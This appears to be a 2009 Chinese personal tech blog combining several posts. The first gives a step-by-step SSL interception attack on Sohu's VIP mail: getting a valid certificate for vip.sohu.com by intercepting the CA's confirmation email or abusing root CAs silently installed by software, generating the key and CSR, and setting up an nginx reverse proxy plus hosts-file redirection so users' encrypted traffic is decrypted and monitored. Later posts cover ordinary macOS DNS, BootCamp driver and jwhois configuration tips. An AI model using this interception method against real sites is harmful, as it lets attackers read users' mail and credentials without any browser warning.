响应我党号召,全面建设和谐博客,坚持和谐写博的路线不动摇
OK,我恶毒的心灵又开始蠢蠢欲动了。今天带给大家的是SSL窃听攻击从理论到实际操作的成功例子
SSL窃听最主要的是你要有一张合法的SSL证书,并且证书名称必须和被攻击的网站域名一致。目前各大CA都有很低廉价格的SSL证书申请,最低的价格只需要10美元不到,甚至还有一些域名注册商大批量采购这些证书,并且在你注册域名的时候免费送你一张。
对于低廉价格的域名SSL证书,CA签发的前提只有一个:只要你有申请的域名某几个特定的邮箱,并且在CA给这个邮箱发送一封确认邮件的时候approve就可以了。
所以,问题的关键是如何截获到这封确认邮件。但我相信某些机构是有办法能做到这一点的。
当然,还有更加简单的办法:国内不少软件在安装的时候,都会偷偷摸摸的把自己的root CA装到用户电脑里面去。Windows的安全机制让这个导入root CA的操作根本没有任何的确认信息和提示。甚至微软还提供了一个专用的小程序用于导入证书。只要你找到这些软件厂商,就可以任意生成证书,并且这些证书都是有效的,不会出现警告。
废话不多说了,开始干活。这里sohu的vip邮箱为例(他们能在整个使用过程中支持ssl),先生成一张vip.sohu.com的key和csr
Sam@Bra:~$ mkdir ssltest Sam@Bra:~$ cd ssltest Sam@Bra:~/ssltest$ openssl genrsa -out vip.sohu.com.key 1024 Generating RSA private key, 1024 bit long modulus ............++++++ .....................++++++ e is 65537 (0x10001) Sam@Bra:~/ssltest$ openssl req -new -key vip.sohu.com.key -out vip.sohu.com.csr You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Country Name (2 letter code) [AU]:CN State or Province Name (full name) [Some-State]:BeiJing Locality Name (eg, city) []:BeiJing Organization Name (eg, company) [Internet Widgits Pty Ltd]:fake sohu Organizational Unit Name (eg, section) []:fake Common Name (eg, YOUR name) []:vip.sohu.com Email Address []:ssladmin@vip.sohu.com Please enter the following 'extra' attributes to be sent with your certificate request A challenge password []: An optional company name []:
well,这样我们就有了一个用于vip.sohu.com的申请了,接着我们去签发这个申请
选上一个后,ca就会给你所选的邮箱发送一封确认邮件,邮件中带有一个连接,打开连接后会让你确认,确认后。。。嘿嘿,证书就到手了

把申请下来的证书保存一下,然后修改下nginx的配置文件,把证书加上,并且设置一个反向代理到vip.sohu.com,大概的样子如下
# HTTPS server
#
server {
listen 443;
server_name vip.sohu.com;
ssl on;
ssl_certificate sslkeys/vip.sohu.com.crt;
ssl_certificate_key sslkeys/vip.sohu.com.key;
ssl_session_timeout 5m;
ssl_protocols SSLv2 SSLv3 TLSv1;
ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;
ssl_prefer_server_ciphers on;
location / {
proxy_pass https://vip.sohu.com;
}
}搞定,保存,重启nginx。修改本机的hosts文件,把vip.sohu.com这个域名指向nginx所在的服务器
127.0.0.1 vip.sohu.com
打开浏览器,输入https://vip.sohu.com,你会发现。。。。根本没任何报错或者警告信息!也就是说,ssl证书被成功替换,再就是说,你的所有传输都被劫持了。
经过测试,IE、firefox、safari等浏览器同仁纷纷表示对替换证书的行为毫不知情并对被替换后的证书予以大力支持,大肆宣扬被劫持的网站是高可信度的网站。
回头再简单阐述这个过程:用户访问一个网站,但中间已经被插了一层proxy。proxy使用了一个真实的并且高度可信的证书与用户交换数据。用户和proxy之间使用ssl加密通道交换数据。数据到了proxy后,会被解密并监听分析。之后proxy再模仿成一个client向网站的服务器发送数据,同样传输也是ssl加密的。网站的服务器对此毫不知情,只能获取到是proxy发出的请求,但其实proxy并不是最终用户,数据其实早已被监听并分析。
最后,还是应了那句话:不要迷恋ssl,ssl只是个传说
备注:
1.转载请注明出处:http://wuhongsheng.com/it/2009/09/ssl-hijack/
2.sohu的哥们不要来找我麻烦或者跨省追捕,选上你们是因为你们太安全了,支持ssl访问邮箱
3.有时间大家还是多点关注我的DNSPod,最近DNSPod正在招人,人不好找啊。。。请大家帮忙宣传下,介绍一些人才过来 https://www.dnspod.com/About/Jobs
总所周至的原因,最近大家上网都不好过。今天上mail.live.com被墙,DNS被欺骗成10.0.1.1,itunes store也打不开,拨上vpn后正常。但iphone的mobile me同步是彻底不正常了,充满电的iphone,6个小时耗掉了全部的电。网上一查gprs的流量,跑了10多M。最后查清还是跟被墙有关,连接不上外网(姑且这样称之)导致一直iphone重试,就连我拨上vpn都没用。
简简单单,先把DNS劫持解决了再说。其实Mac OS X一直内置了BIND,从10.4到10.5到snow leopard的10.6。但默认是没打开的。下面就教大家一招,半分钟打开
1.编辑/etc/named.conf,把下面的内容注释掉
//
// Include keys file
//
//include "/etc/rndc.key";
......
//
// Default controls
//
//controls {
// inet 127.0.0.1 port 54 allow {any;}
// keys { "rndc-key"; };
//};2.下面的命令跑一次
sudo launchctl load -w /System/Library/LaunchDaemons/org.isc.named.plist
3.把DNS改为127.0.0.1,enjoy it
UPDATE:有人问到不想用了怎么办
sudo launchctl unload /System/Library/LaunchDaemons/org.isc.named.plist
1.首先确保你有snow leopard的dmg文件
2.不要加载这个dmg文件。如果已经加载,先推出
3.打开终端(实用工具中),输入下面的命令(把dmg文件的路径替换成你的。最方便的方法是直接把dmg文件拖到终端内,会自动生成文件的完整路径)
sudo hdid -nomount /Users/Sam/Downloads/snowleopard_10a432_userdvd.dmg
4.你会看到类似下面的输出,这里我们需要disk4中的4
/dev/disk4 Apple_partition_scheme /dev/disk4s1 Apple_partition_map /dev/disk4s2 Apple_Driver_ATAPI /dev/disk4s3 Apple_HFS
5.新建一个文件夹,用于加载dmg文件
mkdir /Volumes/bootcamp_drivers
6.加载dmg文件,把/dev/disk4中的4换成你前面得到的数字
sudo mount -t cd9660 -o nodev,nosuid /dev/disk4 /Volumes/bootcamp_drivers
7.成功的话,你会在桌面上看到一个bootcamp_drivers的文件夹,打开后里面就是BootCamp 3.0 Drivers,全部拷贝出来
8.推出dmg并删掉临时文件夹
sudo umount /Volumes/bootcamp_drivers rm -rf /Volumes/bootcamp_drivers
jwhois是linux下面内置的一个whois客户端。
jwhois在查询dot cc(.cc)域名的时候,如果dot cc域名是二级注册商,那么jwhois无法获取到这个域名的whois信息。问题的原因出在jwhois不会自动跟进whois.nic.cc返回的下级whois server。
解决的办法:
编辑jwhois.conf(自己编译的在/usr/local/etc/jwhois.conf,系统自带的在/etc/jwhois.cc),找到server-options段,在末尾加上以下内容
"whois\\.nic\\.cc" {
whois-redirect = ".*Whois Server: \\(.*\\)";
}其他域名也可以如法泡制
update:
增加.vc域名支持的办法,同样是相同的文件,增加.vc的whois服务器就可以了
"\\.va$" = "whois.ripe.net";
"\\.vc$" = "whois2.afilias-grs.net";
"\\.ve$" = "whois.nic.ve";下午新浪科技的记者让我去看新浪科技头条:警方侦破多省网络瘫痪攻击案 抓获4名犯罪嫌疑人。之后给常州市公安局打了电话咨询情况,确认了攻击DNSPod的疑犯已经被抓获。跨省追捕,警察叔叔3天只睡4个小时不到。太累,辛苦他们了。改天请他们喝酒去。
搞攻击的人该警惕了。没有抓不到的人,只有想不想抓。奥运前有一哥们攻击售票网站,用了7层跳板,最后还是被抓到了。
事情完结后,我会把这件事情的经过好好写写。